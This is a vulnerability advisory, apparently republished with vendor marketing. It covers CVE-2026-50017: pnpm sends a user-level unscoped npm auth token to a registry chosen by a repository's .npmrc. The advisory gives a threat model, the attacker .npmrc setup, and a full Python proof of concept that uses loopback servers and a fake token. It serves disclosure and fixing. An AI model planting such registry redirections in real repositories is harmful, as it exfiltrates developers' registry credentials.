Summary
pnpm binds unscoped user-level npm auth credentials to a repository-selected registry
pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local .npmrc file.
In the reproduced case, the user's npm config contains a default registry and an unscoped _authToken. The repository does not provide a token-bearing auth line. It only sets registry= to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an Authorization header.
This was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used.
Affected Behavior Observed
Observed affected:
- pnpm
10.33.2:pnpm install --ignore-scriptssends the user-level unscoped_authTokento the repository-selected registry. - pnpm
11.1.3:pnpm install --ignore-scriptssends the user-level unscoped_authTokento the repository-selected registry. - pnpm
11.2.1(next-11dist tag at testing time):pnpm install --ignore-scriptssends the user-level unscoped_authTokento the repository-selected registry. - pnpm
11.1.3:pnpm viewalso sends user-level unscoped_authToken,_auth, andusername/_passwordcredentials to the repository-selected registry in the local loopback replay.
Control:
- npm
10.9.7rejects the same unscoped user_authTokenconfiguration withERR_INVALID_AUTHand does not send anAuthorizationheader to the repository-selected registry. - URL-scoped registry token controls held in the local loopback replay: tokens scoped to the trusted registry URL were not sent to the attacker registry.
Threat Model
Victim:
- developer or CI job with user-level npm registry credentials configured;
- runs
pnpm install,pnpm view, or an equivalent pnpm metadata/restore command in a repository.
Attacker:
- controls repository-local package manager configuration, such as
.npmrc; - can set
registry=to a registry endpoint they control; - does not need to provide a token-bearing auth line for the strong case.
Boundary:
Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry.
Minimal Reproduction
The reproducer below starts two loopback HTTP registries:
- a trusted registry URL used in the isolated user
.npmrc; - an attacker registry URL used in the repository-local
.npmrc.
The isolated user .npmrc contains:
registry=<trusted-loopback-registry>
_authToken=PR166_FAKE_REGISTRY_TOKEN
The repository-local .npmrc contains:
registry=<attacker-loopback-registry>
The repository package.json depends on a toy package served by the loopback registry. The script then runs:
pnpm install --ignore-scripts
npm install --ignore-scripts
Expected Safe Behavior
pnpm should not send the user-level unscoped _authToken to the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry.
Observed Behavior
pnpm 10.33.2, pnpm 11.1.3, and pnpm 11.2.1 send:
Authorization: Bearer PR166_FAKE_REGISTRY_TOKEN
to the attacker loopback registry during install. npm 10.9.7 rejects the same config and sends no Authorization header.
Security Impact
This can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution.
Non-Claims
This report does not claim:
- remote code execution;
- registry account compromise by itself;
- leakage of URL-scoped tokens for a different registry;
- npm CLI impact;
- impact from a repository explicitly committing its own token-bearing auth
line.
Source-Level Notes
In pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local .npmrc can change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice.
Suggested Fix Direction
The conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped
credentials.
This needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth.
Runnable Reproducer
Save the following as repro.py and run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, set PR166_PNPM_SPEC, for example PR166_PNPM_SPEC=11.2.1.
import base64
import contextlib
import hashlib
import http.server
import io
import json
import os
import shutil
import subprocess
import sys
import tarfile
import tempfile
import threading
from pathlib import Path
"""Standalone loopback reproducer.
It creates only temporary directories and loopback HTTP servers. Cleanup is handled by TemporaryDirectory context managers and registry shutdown handlers; no persistent state is expected outside the package-manager cache directories inside the temporary home. Non-claims: this does not use real credentials, third-party registries, package scripts, or remote services. Failure paths return exit 1 or exit 2 through sys.exit(main()).
"""
TOKEN = "PR166_FAKE_REGISTRY_TOKEN"
PACKAGE_TGZ = None
class RegistryHandler(http.server.BaseHTTPRequestHandler):
requests = []
def do_GET(self):
self.requests.append(
{
"method": self.command,
"path": self.path,
"authorization": self.headers.get("Authorization"),
}
)
if self.path.endswith(".tgz"):
payload = make_package_tgz()
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload)
return
payload = make_package_tgz()
body = json.dumps(
{
"name": "@private/probe",
"dist-tags": {"latest": "1.0.0"},
"versions": {
"1.0.0": {
"name": "@private/probe",
"version": "1.0.0",
"dist": {
"tarball": f"http://127.0.0.1:{self.server.server_port}/private/@private/probe/-/probe-1.0.0.tgz",
"shasum": hashlib.sha1(payload).hexdigest(),
"integrity": "sha512-"
+ base64.b64encode(hashlib.sha512(payload).digest()).decode("ascii"),
},
}
},
}
).encode("utf-8")
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, *args):
return
@contextlib.contextmanager
def registry():
handler = type("RecordingRegistryHandler", (RegistryHandler,), {"requests": []})
server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), handler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
try:
yield server, handler.requests
finally:
server.shutdown()
thread.join(timeout=5)
server.server_close()
def make_package_tgz():
global PACKAGE_TGZ
if PACKAGE_TGZ is not None:
return PACKAGE_TGZ
bio = io.BytesIO()
with tarfile.open(fileobj=bio, mode="w:gz") as tf:
data = b'{"name":"@private/probe","version":"1.0.0"}\n'
info = tarfile.TarInfo("package/package.json")
info.size = len(data)
tf.addfile(info, io.BytesIO(data))
PACKAGE_TGZ = bio.getvalue()
return PACKAGE_TGZ
def write_text(path, text):
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(text, encoding="utf-8", newline="\n")
def run_install(tool, trusted_url, attacker_url):
exe = shutil.which(tool)
if exe is None:
return {"tool": tool, "error": "missing"}
cmd = [exe, "install", "--ignore-scripts"]
if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"):
corepack = shutil.which("corepack")
if corepack is None:
return {"tool": tool, "error": "corepack missing"}
cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "install", "--ignore-scripts"]
with tempfile.TemporaryDirectory(prefix=f"pr166-min-{tool}-") as td:
root = Path(td)
home = root / "home"
project = root / "project"
home.mkdir()
project.mkdir()
userconfig = home / ".npmrc"
write_text(userconfig, f"registry={trusted_url}\n_authToken={TOKEN}\n")
write_text(project / ".npmrc", f"registry={attacker_url}\n")
write_text(
project / "package.json",
'{"name":"pr166-probe","version":"1.0.0","dependencies":{"@private/probe":"1.0.0"}}\n',
)
env = os.environ.copy()
env.update(
{
"HOME": str(home),
"USERPROFILE": str(home),
"NPM_CONFIG_USERCONFIG": str(userconfig),
"npm_config_userconfig": str(userconfig),
"NPM_CONFIG_CACHE": str(home / "cache"),
"npm_config_cache": str(home / "cache"),
"NPM_CONFIG_STORE_DIR": str(home / "store"),
"npm_config_store_dir": str(home / "store"),
"XDG_CACHE_HOME": str(home / "xdg-cache"),
"XDG_DATA_HOME": str(home / "xdg-data"),
"NO_COLOR": "1",
}
)
proc = subprocess.run(
cmd,
cwd=str(project),
env=env,
text=True,
encoding="utf-8",
errors="replace",
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
timeout=60,
)
return {"tool": tool, "returncode": proc.returncode, "output_tail": proc.stdout[-2000:]}
def summarize(tool, result, attacker_requests):
auth_hits = [r for r in attacker_requests if r.get("authorization")]
return {
"tool": tool,
"result": result,
"attacker_auth_hits": auth_hits,
"attacker_request_count": len(attacker_requests),
}
def tool_version(tool):
exe = shutil.which(tool)
if exe is None:
return "missing"
cmd = [exe, "--version"]
if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"):
corepack = shutil.which("corepack")
if corepack is None:
return "corepack missing"
cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "--version"]
proc = subprocess.run(
cmd,
text=True,
encoding="utf-8",
errors="replace",
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
timeout=20,
)
return proc.stdout.strip() or f"exit-{proc.returncode}"
def main():
pnpm_version = tool_version("pnpm")
npm_version = tool_version("npm")
print(f"TARGET_VERSION=pnpm {pnpm_version}; npm {npm_version}")
if pnpm_version == "missing" or npm_version == "missing":
print("CHECK environment_has_pnpm_and_npm result=fail")
return 1
print("ENVIRONMENT_READY")
overall = []
with registry() as (trusted, _trusted_requests), registry() as (attacker, attacker_requests):
trusted_url = f"http://127.0.0.1:{trusted.server_port}/private/"
attacker_url = f"http://127.0.0.1:{attacker.server_port}/private/"
before = len(attacker_requests)
pnpm_result = run_install("pnpm", trusted_url, attacker_url)
pnpm_summary = summarize("pnpm", pnpm_result, attacker_requests[before:])
overall.append(pnpm_summary)
before = len(attacker_requests)
npm_result = run_install("npm", trusted_url, attacker_url)
npm_summary = summarize("npm", npm_result, attacker_requests[before:])
overall.append(npm_summary)
print(json.dumps(overall, indent=2))
pnpm_leaked = bool(overall[0]["attacker_auth_hits"])
npm_leaked = bool(overall[1]["attacker_auth_hits"])
print(f"OBSERVED_PNPM_AUTH_HITS={len(overall[0]['attacker_auth_hits'])}")
print(f"OBSERVED_NPM_AUTH_HITS={len(overall[1]['attacker_auth_hits'])}")
print(
"COMMAND_EXIT_CODE="
f"pnpm:{overall[0]['result'].get('returncode', 'missing')} "
f"npm:{overall[1]['result'].get('returncode', 'missing')}"
)
if pnpm_leaked and not npm_leaked:
print("CHECK pnpm_leaked=true npm_control_held=true result=pass")
print("VULNERABLE_BEHAVIOR_CONFIRMED")
print("RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD")
print("RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED")
return 0
if pnpm_leaked and npm_leaked:
print("CHECK pnpm_leaked=true npm_control_held=false result=fail")
print("RESULT_BOTH_TOOLS_SENT_AUTH")
return 2
print("CHECK pnpm_leaked=false result=fail")
print("RESULT_NO_PNPM_AUTH_LEAK")
return 1
if __name__ == "__main__":
sys.exit(main())
Abbreviated Expected Output
TARGET_VERSION=pnpm 11.2.1; npm 10.9.7
ENVIRONMENT_READY
...
OBSERVED_PNPM_AUTH_HITS=3
OBSERVED_NPM_AUTH_HITS=0
COMMAND_EXIT_CODE=pnpm:0 npm:1
CHECK pnpm_leaked=true npm_control_held=true result=pass
VULNERABLE_BEHAVIOR_CONFIRMED
RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD
RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED
Reporter: JUNYI LIU
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
pnpm to 10.34.0 or later; pnpm to 11.4.0 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-50017? CVE-2026-50017 is a medium-severity security vulnerability in pnpm (npm), affecting versions < 10.34.0. It is fixed in 10.34.0, 11.4.0.
- Which versions of pnpm are affected by CVE-2026-50017? pnpm (npm) versions < 10.34.0 is affected.
- Is there a fix for CVE-2026-50017? Yes. CVE-2026-50017 is fixed in 10.34.0, 11.4.0. Upgrade to this version or later.
- Is CVE-2026-50017 exploitable, and should I be worried? Whether CVE-2026-50017 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-50017 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-50017?
- Upgrade
pnpmto 10.34.0 or later - Upgrade
pnpmto 11.4.0 or later
- Upgrade